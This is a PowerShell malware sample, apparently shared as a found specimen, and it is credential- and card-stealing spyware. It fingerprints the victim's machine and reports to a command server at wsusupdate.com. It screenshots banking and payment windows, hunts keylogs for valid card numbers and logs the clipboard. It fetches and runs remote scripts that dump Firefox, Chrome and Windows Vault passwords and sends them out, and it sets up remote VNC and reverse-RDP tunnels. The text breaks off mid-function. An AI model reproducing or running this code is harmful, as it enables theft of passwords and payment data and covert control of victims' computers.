#sample found by @JohnLaTwc
#$WebPostTimer = 1200
#$WebGetTimer = 1200
[void] [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
[void] [Reflection.Assembly]::LoadWithPartialName("System.Drawing")
function New-Mutex($MutexName) {
#[CmdletBinding()][OutputType([PSObject])]
#Param ([Parameter(Mandatory)][ValidateNotNullOrEmpty()][string]$MutexName)
$MutexWasCreated = $false
$Mutex = $Null
Write-Verbose "Waiting to acquire lock [$MutexName]..."
[void][System.Reflection.Assembly]::LoadWithPartialName('System.Threading')
try {
$Mutex = [System.Threading.Mutex]::OpenExisting($MutexName)
} catch {
$Mutex = New-Object System.Threading.Mutex($true, $MutexName, [ref]$MutexWasCreated)
}
try { if (!$MutexWasCreated) { $Mutex.WaitOne() | Out-Null } } catch { }
Write-Verbose "Lock [$MutexName] acquired. Executing..."
Write-Output ([PSCustomObject]@{ Name = $MutexName; Mutex = $Mutex })
} # New-Mutex
function Remove-Mutex {
<#
.SYNOPSIS
Removes a previously created Mutex
.DESCRIPTION
This function attempts to release a lock on a mutex created by an earlier call
to New-Mutex.
.PARAMETER MutexObject
The PSObject object as output by the New-Mutex function.
.INPUTS
None. You cannot pipe objects to this function.
.OUTPUTS
None.
#Requires -Version 2.0
#>
#[CmdletBinding()]
#Param ([Parameter(Mandatory)][ValidateNotNull()][PSObject]$MutexObject)
# $MutexObject | fl * | Out-String | Write-Host
Write-Verbose "Releasing lock [$($MutexObject.Name)]..."
try { [void]$MutexObject.Mutex.ReleaseMutex() } catch { }
} # Remove-Mutex
new-mutex("Global\$env:username$((Get-Process -PID $pid).SessionID)")
Function Get-StringHash([String] $String,$HashName = "MD5")
{
$StringBuilder = New-Object System.Text.StringBuilder
[System.Security.Cryptography.HashAlgorithm]::Create($HashName).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{
[Void]$StringBuilder.Append($_.ToString("x2"))
}
$StringBuilder.ToString()
}
Function IsVirtual
{
$wmibios = Get-WmiObject Win32_BIOS -ErrorAction Stop | Select-Object version,serialnumber
$wmisystem = Get-WmiObject Win32_ComputerSystem -ErrorAction Stop | Select-Object model,manufacturer
$ResultProps = @{
ComputerName = $computer
BIOSVersion = $wmibios.Version
SerialNumber = $wmibios.serialnumber
Manufacturer = $wmisystem.manufacturer
Model = $wmisystem.model
IsVirtual = $false
VirtualType = $null
}
if ($wmibios.SerialNumber -like "*VMware*") {
$ResultProps.IsVirtual = $true
$ResultProps.VirtualType = "Virtual - VMWare"
}
else {
switch -wildcard ($wmibios.Version) {
'VIRTUAL' {
$ResultProps.IsVirtual = $true
$ResultProps.VirtualType = "Virtual - Hyper-V"
}
'A M I' {
$ResultProps.IsVirtual = $true
$ResultProps.VirtualType = "Virtual - Virtual PC"
}
'*Xen*' {
$ResultProps.IsVirtual = $true
$ResultProps.VirtualType = "Virtual - Xen"
}
}
}
if (-not $ResultProps.IsVirtual) {
if ($wmisystem.manufacturer -like "*Microsoft*")
{
$ResultProps.IsVirtual = $true
$ResultProps.VirtualType = "Virtual - Hyper-V"
}
elseif ($wmisystem.manufacturer -like "*VMWare*")
{
$ResultProps.IsVirtual = $true
$ResultProps.VirtualType = "Virtual - VMWare"
}
elseif ($wmisystem.model -like "*Virtual*") {
$ResultProps.IsVirtual = $true
$ResultProps.VirtualType = "Unknown Virtual Machine"
}
}
$results += New-Object PsObject -Property $ResultProps
return $ResultProps.IsVirtual
}
function Escape-JSONString($str){
if ($str -eq $null) {return ""}
$str = $str.ToString().Replace('"','\"').Replace('\','\\').Replace("`n",'\n').Replace("`r",'\r').Replace("`t",'\t')
return $str;
}
function ConvertTo-JSON($maxDepth = 4,$forceArray = $false) {
begin {
$data = @()
}
process{
$data += $_
}
end{
if ($data.length -eq 1 -and $forceArray -eq $false) {
$value = $data[0]
} else {
$value = $data
}
if ($value -eq $null) {
return "null"
}
$dataType = $value.GetType().Name
switch -regex ($dataType) {
'String' {
return "`"{0}`"" -f (Escape-JSONString $value )
}
'(System\.)?DateTime' {return "`"{0:yyyy-MM-dd}T{0:HH:mm:ss}`"" -f $value}
'Int32|Double' {return "$value"}
'Boolean' {return "$value".ToLower()}
'(System\.)?Object\[\]' { # array
if ($maxDepth -le 0){return "`"$value`""}
$jsonResult = ''
foreach($elem in $value){
#if ($elem -eq $null) {continue}
if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
$jsonResult += ($elem | ConvertTo-JSON -maxDepth ($maxDepth -1))
}
return "[" + $jsonResult + "]"
}
'(System\.)?Hashtable' { # hashtable
$jsonResult = ''
foreach($key in $value.Keys){
if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
$jsonResult +=
@"
"{0}": {1}
"@ -f $key , ($value[$key] | ConvertTo-JSON -maxDepth ($maxDepth -1) )
}
return "{" + $jsonResult + "}"
}
default { #object
if ($maxDepth -le 0){return "`"{0}`"" -f (Escape-JSONString $value)}
return "{" +
(($value | Get-Member -MemberType *property | % {
@"
"{0}": {1}
"@ -f $_.Name , ($value.($_.Name) | ConvertTo-JSON -maxDepth ($maxDepth -1) )
}) -join ', ') + "}"
}
}
}
}
function Get-SystemUptime ($computer = "$env:computername") {
$lastboot = [System.Management.ManagementDateTimeconverter]::ToDateTime("$((gwmi Win32_OperatingSystem).LastBootUpTime)")
$uptime = (Get-Date) - $lastboot
#Write-Host "System Uptime for $computer is: " $uptime.days "days" $uptime.hours "hours" $uptime.minutes "minutes" $uptime.seconds "seconds"
return (($uptime.days).ToString()+"d:"+($uptime.hours).ToString()+"h:"+$uptime.minutes.ToString()+"m:"+($uptime.seconds).ToString()+"s")
}
$Screens = [system.windows.forms.screen]::AllScreens
foreach ($Screen in $Screens) {
$DeviceName = $Screen.DeviceName
$Width = $Screen.Bounds.Width
$Height = $Screen.Bounds.Height
$IsPrimary = $Screen.Primary
}
$ScreenshotPath = "$env:temp\39F28DD9-0677-4EAC-91B8-2112B1515341"
if (-not (Test-Path $ScreenshotPath))
{
New-Item $ScreenshotPath -ItemType Directory -Force
}
$resolution = $Width.ToString()+"x"+$Height.ToString()
$username = "$env:username".ToLower()
$url = "https://wsusupdate.com"
$hashid = Get-StringHash($(Get-WMIObject -class Win32_DiskDrive | Where-Object {$_.DeviceID -eq "\\.\PHYSICALDRIVE0"}).SerialNumber + `
$(Get-WmiObject -class Win32_OperatingSystem).SerialNumber )
$cpu_name = $(Get-WmiObject -class "Win32_Processor" -namespace "root/CIMV2")[0].name
if ($cpu_name -eq $null) { $cpu_name = $(Get-WmiObject -class "Win32_Processor" -namespace "root/CIMV2").name }
$vm = IsVirtual
$ram = ([Math]::Round((Get-WmiObject -Class win32_computersystem).TotalPhysicalMemory/1Gb)).toString()
$os = (Get-WmiObject -class Win32_OperatingSystem).Caption
$os_arch = (Get-WmiObject -class Win32_OperatingSystem).OSArchitecture
$uptime = Get-SystemUptime
#$ext_ip = (New-Object net.webclient).downloadstring("http://checkip.dyndns.com") -replace "[^\d\.]"
$ext_ip = ''
$timezone = [TimeZoneInfo]::Local.BaseUtcOffset.Hours
$IsAdmin = ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")
if ((Get-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server').fDenyTSConnections -eq 1) { $rdp = $False }
else { $rdp = $True }
if($IsAdmin -ne $True){
if( ($(whoami /groups) -like "*S-1-5-32-544*").length -eq 1 ) { $IsAdmin = $True }
}
#$wan_speed = New-Object net.webclient; "{0:N2} Mbit/sec" -f ((100/(Measure-Command {$wc.Downloadfile('http://east.testmy.net/dl-100MB',"c:\speedtest.test")}).TotalSeconds)*8); del c:\speedtest.test
if ((gwmi win32_computersystem).partofdomain -eq $true -and (gwmi win32_computersystem).domain -ne "WORKGROUP") {
$domain = (gwmi win32_computersystem).domain.ToUpper()
}
else {$domain = 'nodomain'}
$log_file = "$env:temp\key.log"
$version = "04a"
$params = @{"resolution" = "$resolution"; "timezone" = "$timezone"; "uptime" = "$uptime"; "computer_name" = $env:computername.ToUpper(); "isadmin" = $isadmin; "username" = "$username"; "domain" = "$domain"; "cpu_name" = "$cpu_name"; "vm" = $vm; "ram" = "$ram"; `
"hashid" = "$hashid"; "url" = "$url"; "log_file" = "$log_file"; "Screenshot_path" = "$ScreenshotPath"; "version" = "$version"; "os" = "$os"; "os_arch" = "$os_arch"; "rdp" = "$rdp"; "ext_ip" = "$ext_ip"}
$m = $params | ConvertTo-json
$m
function Invoke-Start
{
$buffer = [System.Text.Encoding]::UTF8.GetBytes($m)
try {
[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($params.url+"/start")
#[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create("https://dweffweew.com/start")
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
$webRequest.ContentType = "application/json"
$webRequest.Timeout = 10000
$webRequest.Method = "POST"
$webRequest.ContentLength = $buffer.Length;
$requestStream = $webRequest.GetRequestStream()
$requestStream.Write($buffer, 0, $buffer.Length)
$requestStream.Flush()
$requestStream.Close()
[System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
$streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
$result = $streamReader.ReadToEnd()
return $result
}
catch {
return $_.Exception.Message
}
}
While ($True) {
$response = Invoke-Start
if ($response -eq 'null') {
break
}
$response
Start-Sleep -s 1200
continue
}
function Title-Monitor
{
Start-Job -ScriptBlock {
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class UserWindows {
[DllImport("user32.dll")]
public static extern IntPtr GetForegroundWindow();
}
"@
$hashid = $args[0]
$url = $args[1]
$username = $args[2]
$resolution = $args[3]
$ScreenshotPath = $args[4]
function Get-ScreenShot
{
$OutPath = "$env:temp\39F28DD9-0677-4EAC-91B8-2112B1515341"
Add-Type -AssemblyName System.Windows.Forms
$fileName = '{0}.jpg' -f (Get-Date).ToString('yyyyMMdd_HHmmss')
$path = Join-Path $ScreenshotPath $fileName
$b = New-Object System.Drawing.Bitmap([System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Width, [System.Windows.Forms.Screen]::PrimaryScreen.Bounds.Height)
$g = [System.Drawing.Graphics]::FromImage($b)
$g.CopyFromScreen((New-Object System.Drawing.Point(0,0)), (New-Object System.Drawing.Point(0,0)), $b.Size)
$g.Dispose()
$myEncoder = [System.Drawing.Imaging.Encoder]::Quality
$encoderParams = New-Object System.Drawing.Imaging.EncoderParameters(1)
$encoderParams.Param[0] = New-Object System.Drawing.Imaging.EncoderParameter($myEncoder, 20)
$myImageCodecInfo = [System.Drawing.Imaging.ImageCodecInfo]::GetImageEncoders()|where {$_.MimeType -eq 'image/jpeg'}
$b.Save($path,$myImageCodecInfo, $($encoderParams))
}
Get-ScreenShot
#filter Luhn($x){$l=$x.Length-1;$l..0|%{$d=$x[$_]-48;if($_%2-eq$l%2){$s+=$d}elseif($d-le4){$s+=$d*2}else{$s+=$d*2-9}};!($s%10)}
function Luhn([int[]]$digits){
[int]$sum=0
[bool]$alt=$false
for($i = $digits.length - 1; $i -ge 0; $i--){
if($alt){
$digits[$i] *= 2
if($digits[$i] -gt 9) { $digits[$i] -= 9 }
}
$sum += $digits[$i]
$alt = !$alt
}
return ($sum % 10) -eq 0
}
$luhn_matches_previous = 0
while ($True) {
$Process = Get-Process | ? {$_.MainWindowHandle -eq ([UserWindows]::GetForegroundWindow())}
if (Test-Path "$env:TEMP\key.log") {
$keystring = ''
(Get-Content $env:temp\key.log) | foreach { $keystring += $_.split(",")[0].replace('"', '') }
$luhn_matches = @()
Select-String -Pattern "[456][0-9]{15}|3[0-9]{14}" -InputObject $keystring -AllMatches | foreach {$_.matches} | Select-String -NotMatch "(\d)\1{5,}" | foreach { if (luhn([int[]][string[]][char[]]$_.value) -eq $true) {$luhn_matches += $True}}
if ($luhn_matches.length -lt $luhn_matches_previous) { $luhn_matches_previous = 0 }
if (($luhn_matches -contains $True) -and ($luhn_matches.length -gt $luhn_matches_previous)) {
1..20 | % {
Get-ScreenShot
Start-Sleep -Seconds 5
}
$luhn_matches_previous = $luhn_matches.length
}
}
if (Test-Path $env:temp\keywords.txt) {
$keywords = ((Get-Content $env:temp\keywords.txt).split(' '))[1].split('|')
foreach ($keyword in $keywords) {if (($Process.MainWindowTitle -clike "*$keyword*" ) -and (Test-Path "$env:TEMP\key.log")) {
1..20 | % {
Get-ScreenShot
Start-Sleep -Seconds 5
}
}
}
}
if (($Process.MainWindowTitle -like '*checkout*') -or ($Process.MainWindowTitle -like '*Pay-Me-Now*') `
-or ($Process.MainWindowTitle -like '*Sign On - Citibank*') -or ($Process.MainWindowTitle -like 'Sign in or Register | eBay')`
-or ($Process.MainWindowTitle -like '*Credit Card*') -or ($Process.MainWindowTitle -like '*Place Your Order*') `
-or ($Process.MainWindowTitle -clike '*Banking*') -or ($Process.MainWindowTitle -like '*Log in to your PayPal account*') `
-or ($Process.MainWindowTitle -like '*Expedia Partner*Central*') -or ($Process.MainWindowTitle -like '*Booking.com Extranet*') `
-or ($Process.MainWindowTitle -like '*Chase Online - Logon*') -or ($Process.MainWindowTitle -like '*One Time Pay*') `
-or ($Process.MainWindowTitle -clike '*LogMeIn*') -or ($Process.MainWindowTitle -clike '*Windows Security*') `
-or ($Process.MainWindowTitle -like '*Choose a way to pay*') -or ($Process.MainWindowTitle -like '*payment information*') `
-or ($Process.MainWindowTitle -clike '*Change Reservation*') -or ($Process.MainWindowTitle -clike '*POS*') `
-or ($Process.MainWindowTitle -like '*Virtual*Terminal*') -or ($Process.MainWindowTitle -like '*PayPal: Wallet*') `
-or ($Process.MainWindowTitle -like '*iatspayment*') -or ($Process.MainWindowTitle -like '*LogMeIn*') `
-or ($Process.MainWindowTitle -clike '*Authorize.Net*') -or ($Process.MainWindowTitle -like '*LogMeIn*') `
-or ($Process.MainWindowTitle -clike '*Discover Card*') -or ($Process.MainWindowTitle -like '*LogMeIn*') `
-or ($Process.MainWindowTitle -like '*ewallet*') -or ($Process.MainWindowTitle -like '*arcot*') `
-or ($Process.MainWindowTitle -clike '*PayTrace*') -or ($Process.MainWindowTitle -clike '*New Charge*') `
-or ($Process.MainWindowTitle -clike '*Verification*') -or ($Process.MainWindowTitle -clike '*PIN*') `
-or ($Process.MainWindowTitle -clike '*Authentication*') -or ($Process.MainWindowTitle -clike '*Password*') `
-or ($Process.MainWindowTitle -clike '*Debit Card*') -or ($Process.MainWindowTitle -clike '*Activation*') `
-or ($Process.MainWindowTitle -clike '*LastPass*') -or ($Process.MainWindowTitle -clike '*SSN*') `
-or ($Process.MainWindowTitle -clike '*Driver*License*') -or ($Process.MainWindowTitle -clike '*Check-in for*') `
-or ($Process.MainWindowTitle -clike '*Umpqua*') -or ($Process.MainWindowTitle -clike '*ePayment*') `
-or ($Process.MainWindowTitle -clike '*Converge -*') -or ($Process.MainWindowTitle -clike '*Swipe*') `
-or ($Process.MainWindowTitle -like '*Payrazr*') -or ($Process.MainWindowTitle -clike '*Hosted -*') `
-and (Test-Path "$env:TEMP\key.log")) {
1..20 | % {
Get-ScreenShot
Start-Sleep -Seconds 5
}
}
Start-Sleep -Seconds 5
}
} -ArgumentList $params.hashid, $params.url, $params.username, $params.resolution, $params.Screenshot_Path
}
function Gclip {
Start-Job -ScriptBlock {
$PollInterval = 3
Add-Type -AssemblyName System.Windows.Forms
# used to check if the contents have changed
$PrevLength = 0
$PrevFirstChar = ""
for(;;){
# stolen/adapted from http://brianreiter.org/2010/09/03/copy-and-paste-with-clipboard-from-powershell/
$tb = New-Object System.Windows.Forms.TextBox
$tb.Multiline = $true
$tb.Paste()
# only output clipboard data if it's changed
if (($tb.Text.Length -ne 0) -and ($tb.Text.Length -ne $PrevLength)){
# if the length isn't 0, the length has changed, and the first character
# has changed, assume the clipboard has changed
# YES I know there might be edge cases :)
if($PrevFirstChar -ne ($tb.Text)[0]){
$TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)
#Out-File -FilePath "$env:Temp\Applnsights_VisualStudio.txt" -Append -InputObject "`========== CLIPBOARD ==========`n" -Encoding unicode
Out-File -FilePath "$env:Temp\Applnsights_VisualStudio.txt" -Append -InputObject $tb.Text -Encoding unicode
$PrevFirstChar = ($tb.Text)[0]
$PrevLength = $tb.Text.Length
}
}
Start-Sleep -s $PollInterval
}
}
}
function GetFF {
Start-Job -ScriptBlock {
function Escape-JSONString($str){
if ($str -eq $null) {return ""}
$str = $str.ToString().Replace('"','\"').Replace('\','\\').Replace("`n",'\n').Replace("`r",'\r').Replace("`t",'\t')
return $str;
}
function ConvertTo-JSON($maxDepth = 4,$forceArray = $false) {
begin {
$data = @()
}
process{
$data += $_
}
end{
if ($data.length -eq 1 -and $forceArray -eq $false) {
$value = $data[0]
} else {
$value = $data
}
if ($value -eq $null) {
return "null"
}
$dataType = $value.GetType().Name
switch -regex ($dataType) {
'String' {
return "`"{0}`"" -f (Escape-JSONString $value )
}
'(System\.)?DateTime' {return "`"{0:yyyy-MM-dd}T{0:HH:mm:ss}`"" -f $value}
'Int32|Double' {return "$value"}
'Boolean' {return "$value".ToLower()}
'(System\.)?Object\[\]' { # array
if ($maxDepth -le 0){return "`"$value`""}
$jsonResult = ''
foreach($elem in $value){
#if ($elem -eq $null) {continue}
if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
$jsonResult += ($elem | ConvertTo-JSON -maxDepth ($maxDepth -1))
}
return "[" + $jsonResult + "]"
}
'(System\.)?Hashtable' { # hashtable
$jsonResult = ''
foreach($key in $value.Keys){
if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
$jsonResult +=
@"
"{0}": {1}
"@ -f $key , ($value[$key] | ConvertTo-JSON -maxDepth ($maxDepth -1) )
}
return "{" + $jsonResult + "}"
}
default { #object
if ($maxDepth -le 0){return "`"{0}`"" -f (Escape-JSONString $value)}
return "{" +
(($value | Get-Member -MemberType *property | % {
@"
"{0}": {1}
"@ -f $_.Name , ($value.($_.Name) | ConvertTo-JSON -maxDepth ($maxDepth -1) )
}) -join ', ') + "}"
}
}
}
}
$url = $args[0]
$resolution = $args[1]
$domain = $args[2]
$computer_name = $args[3]
$username = $args[4]
$timezone = $args[5]
$hashid = $args[6]
$version = $args[7]
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
& cmd /c %systemroot%\syswow64\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('https://wsusupdate.com/script?id=random&name=firefox'); Get-FoxDump -OutFile $env:temp\firefox.log; Exit"
& cmd /c %systemroot%\system32\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('https://wsusupdate.com/script?id=random&name=firefox'); Get-FoxDump -OutFile $env:temp\firefox.log; Exit"
If (Test-Path "$env:temp\firefox.log") {
$content = Get-Content $env:temp\firefox.log | Out-String
$content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content))
$json = @{"resolution" = $resolution; "domain" = $domain; "computer_name" = $computer_name; "username" = $username; "timezone" = $timezone; "hashid" = $hashid; "version" = $version; "content" = $content; "type" = "ffbrwpwd"}
$log_json = $json | ConvertTo-Json
$buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json)
[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url+"/pshlog")
$webRequest.ContentType = "application/json"
$webRequest.Timeout = 10000
$webRequest.Method = "POST"
$webRequest.ContentLength = $buffer.Length;
$requestStream = $webRequest.GetRequestStream()
$requestStream.Write($buffer, 0, $buffer.Length)
$requestStream.Flush()
$requestStream.Close()
[System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
$streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
$result = $streamReader.ReadToEnd()
Remove-Item "$env:temp\firefox.log"
}
} -ArgumentList $params.url, $params.resolution, $params.domain, $params.computer_name, $params.username, $params.timezone, $params.hashid, $params.version
}
function GetChrome {
Start-Job -ScriptBlock {
function Escape-JSONString($str){
if ($str -eq $null) {return ""}
$str = $str.ToString().Replace('"','\"').Replace('\','\\').Replace("`n",'\n').Replace("`r",'\r').Replace("`t",'\t')
return $str;
}
function ConvertTo-JSON($maxDepth = 4,$forceArray = $false) {
begin {
$data = @()
}
process{
$data += $_
}
end{
if ($data.length -eq 1 -and $forceArray -eq $false) {
$value = $data[0]
} else {
$value = $data
}
if ($value -eq $null) {
return "null"
}
$dataType = $value.GetType().Name
switch -regex ($dataType) {
'String' {
return "`"{0}`"" -f (Escape-JSONString $value )
}
'(System\.)?DateTime' {return "`"{0:yyyy-MM-dd}T{0:HH:mm:ss}`"" -f $value}
'Int32|Double' {return "$value"}
'Boolean' {return "$value".ToLower()}
'(System\.)?Object\[\]' { # array
if ($maxDepth -le 0){return "`"$value`""}
$jsonResult = ''
foreach($elem in $value){
#if ($elem -eq $null) {continue}
if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
$jsonResult += ($elem | ConvertTo-JSON -maxDepth ($maxDepth -1))
}
return "[" + $jsonResult + "]"
}
'(System\.)?Hashtable' { # hashtable
$jsonResult = ''
foreach($key in $value.Keys){
if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
$jsonResult +=
@"
"{0}": {1}
"@ -f $key , ($value[$key] | ConvertTo-JSON -maxDepth ($maxDepth -1) )
}
return "{" + $jsonResult + "}"
}
default { #object
if ($maxDepth -le 0){return "`"{0}`"" -f (Escape-JSONString $value)}
return "{" +
(($value | Get-Member -MemberType *property | % {
@"
"{0}": {1}
"@ -f $_.Name , ($value.($_.Name) | ConvertTo-JSON -maxDepth ($maxDepth -1) )
}) -join ', ') + "}"
}
}
}
}
$url = $args[0]
$resolution = $args[1]
$domain = $args[2]
$computer_name = $args[3]
$username = $args[4]
$timezone = $args[5]
$hashid = $args[6]
$version = $args[7]
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
& cmd /c %systemroot%\system32\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('https://wsusupdate.com/script?id=random&name=chrome'); Stop-Process -name chrome -ErrorAction SilentlyContinue; Start-sleep -seconds 3; Get-ChromeDump -OutFile $env:temp\chrome.log; Exit"
Start-Sleep -Seconds 60
If (Test-Path "$env:temp\chrome.log") {
#$content = [IO.File]::ReadAllText("$env:temp\chrome.log")
$content = Get-Content "$env:temp\chrome.log" | Out-String
$content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($content))
$json = @{"resolution" = $resolution; "domain" = $domain; "computer_name" = $computer_name; "username" = $username; "timezone" = $timezone; "hashid" = $hashid; "version" = $version; "content" = $content; "type" = "chbrwpwd"}
$log_json = $json | ConvertTo-Json
$buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json)
write-host $buffer
$url+'/pshlog'
[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url+'/pshlog')
$webRequest.ContentType = "application/json"
$webRequest.Timeout = 10000
$webRequest.Method = "POST"
$webRequest.ContentLength = $buffer.Length;
$requestStream = $webRequest.GetRequestStream()
$requestStream.Write($buffer, 0, $buffer.Length)
$requestStream.Flush()
$requestStream.Close()
[System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
$streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
$result = $streamReader.ReadToEnd()
}
} -ArgumentList $params.url, $params.resolution, $params.domain, $params.computer_name, $params.username, $params.timezone, $params.hashid, $params.version
}
function GetVault {
Start-Job -ScriptBlock {
function Escape-JSONString($str){
if ($str -eq $null) {return ""}
$str = $str.ToString().Replace('"','\"').Replace('\','\\').Replace("`n",'\n').Replace("`r",'\r').Replace("`t",'\t')
return $str;
}
function ConvertTo-JSON($maxDepth = 4,$forceArray = $false) {
begin {
$data = @()
}
process{
$data += $_
}
end{
if ($data.length -eq 1 -and $forceArray -eq $false) {
$value = $data[0]
} else {
$value = $data
}
if ($value -eq $null) {
return "null"
}
$dataType = $value.GetType().Name
switch -regex ($dataType) {
'String' {
return "`"{0}`"" -f (Escape-JSONString $value )
}
'(System\.)?DateTime' {return "`"{0:yyyy-MM-dd}T{0:HH:mm:ss}`"" -f $value}
'Int32|Double' {return "$value"}
'Boolean' {return "$value".ToLower()}
'(System\.)?Object\[\]' { # array
if ($maxDepth -le 0){return "`"$value`""}
$jsonResult = ''
foreach($elem in $value){
#if ($elem -eq $null) {continue}
if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
$jsonResult += ($elem | ConvertTo-JSON -maxDepth ($maxDepth -1))
}
return "[" + $jsonResult + "]"
}
'(System\.)?Hashtable' { # hashtable
$jsonResult = ''
foreach($key in $value.Keys){
if ($jsonResult.Length -gt 0) {$jsonResult +=', '}
$jsonResult +=
@"
"{0}": {1}
"@ -f $key , ($value[$key] | ConvertTo-JSON -maxDepth ($maxDepth -1) )
}
return "{" + $jsonResult + "}"
}
default { #object
if ($maxDepth -le 0){return "`"{0}`"" -f (Escape-JSONString $value)}
return "{" +
(($value | Get-Member -MemberType *property | % {
@"
"{0}": {1}
"@ -f $_.Name , ($value.($_.Name) | ConvertTo-JSON -maxDepth ($maxDepth -1) )
}) -join ', ') + "}"
}
}
}
}
$url = $args[0]
$resolution = $args[1]
$domain = $args[2]
$computer_name = $args[3]
$username = $args[4]
$timezone = $args[5]
$hashid = $args[6]
$version = $args[7]
$vault_url = $url+'/script?id=random&name=vault'
Write-host $vault_url
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
IEX (New-Object Net.WebClient).DownloadString($vault_url); Get-VaultCredential -OutVariable vaultcreds -ErrorAction SilentlyContinue
#Write-host 'ERROR'
#$vaultcredserror
$vaultcreds = $vaultcreds | Out-String
$content = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($vaultcreds))
if ($content.length -ne 0) {
$json = @{"resolution" = $resolution; "domain" = $domain; "computer_name" = $computer_name; "username" = $username; "timezone" = $timezone; "hashid" = $hashid; "version" = $version; "content" = $content; "type" = "vault"}
$json
$log_json = $json | ConvertTo-Json
$buffer = [System.Text.Encoding]::UTF8.GetBytes($log_json)
write-host $buffer
[System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url+'/pshlog')
$webRequest.ContentType = "application/json"
$webRequest.Timeout = 10000
$webRequest.Method = "POST"
$webRequest.ContentLength = $buffer.Length;
$requestStream = $webRequest.GetRequestStream()
$requestStream.Write($buffer, 0, $buffer.Length)
$requestStream.Flush()
$requestStream.Close()
[System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()
$streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())
$result = $streamReader.ReadToEnd()
}
} -ArgumentList $params.url, $params.resolution, $params.domain, $params.computer_name, $params.username, $params.timezone, $params.hashid, $params.version
}
function WebGet {
Start-Job -ScriptBlock {
$url = $args[0]
$resolution = $args[1]
$domain = $args[2]
$computer_name = $args[3]
$username = $args[4]
$timezone = $args[5]
$hashid = $args[6]
$version = $args[7]
while ($true) {
$WebClient=New-Object net.webclient
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }
$String=$WebClient.DownloadString($url+"/command?domain=$domain&username=$username&hashid=$hashid&computer_name=$computer_name&ver=$version")
if ($String -ne '0') {
foreach ($cmd in ($string -split '["\n\r"|"\r\n"|\n|\r]')) {
if ($cmd.StartsWith("+screenshot",1)) { $cmd | Out-File $env:temp\keywords.txt }
elseif ($cmd.StartsWith("-screenshot",1)) { Remove-Item $env:temp\keywords.txt }
elseif ($cmd.StartsWith("+vnc", 1)) {
if([IntPtr]::Size -eq 8) {
& cmd /c %systemroot%\syswow64\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('$url/script?id=1&name=vnc');"
}
else { & cmd /c %systemroot%\system32\windowspowershell\v1.0\powershell.exe "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { `$true }; IEX (New-Object Net.WebClient).DownloadString('$url/script?id=1&name=vnc');" }
}
# +rdp username;password;trigger-port;10.0.0.1
elseif ($cmd.StartsWith("+rdp", 1)) {
$creds = ($cmd.split(' '))[1]
$plink_username = ($creds.split(';'))[0]
$plink_password = ($creds.split(';'))[1]
$plink_trigger_port = ($creds.split(';'))[2]
$plink_ip = ($creds.split(';'))[3]
$plink_username, $plink_password, $plink_trigger_port, $plink_ip
Start-Job -ScriptBlock {
#IF ((Test-Path "$env:temp\plink.exe") -eq $False) { (New-Object System.Net.WebClient).DownloadFile('https://the.earth.li/~sgtatham/putty/latest/x86/plink.exe', "$env:temp\plink.exe");}
IF ((Test-Path "$env:temp\stnlc.exe") -eq $False)
{
(New-Object System.Net.WebClient).DownloadFile('http://sylviabodenheimer.ch/css/stnlc.bin', "$env:temp\stnlc.exe")
(New-Object System.Net.WebClient).DownloadFile('http://sylviabodenheimer.ch/css/CiWinCng32.dll', "$env:temp\CiWinCng32.dll")
}
$plink_username = $args[0]
$plink_password = $args[1]
$plink_trigger_port = $args[2]
$plink_ip = $args[3]
Stop-Process -name stnlc -ErrorAction SilentlyContinue
#& cmd /c "echo yes | $env:temp\plink.exe -R "+$plink_trigger_port+":127.0.0.1:3389 -l $plink_username -pw $plink_password $plink_ip -N" } -ArgumentList $plink_username, $plink_password, $plink_trigger_port, $plink_ip }
& cmd /c "echo S | $env:temp\stnlc.exe $plink_username@$plink_ip -s2c=0.0.0.0,$plink_trigger_port,localhost,3389 -pw=$plink_password"
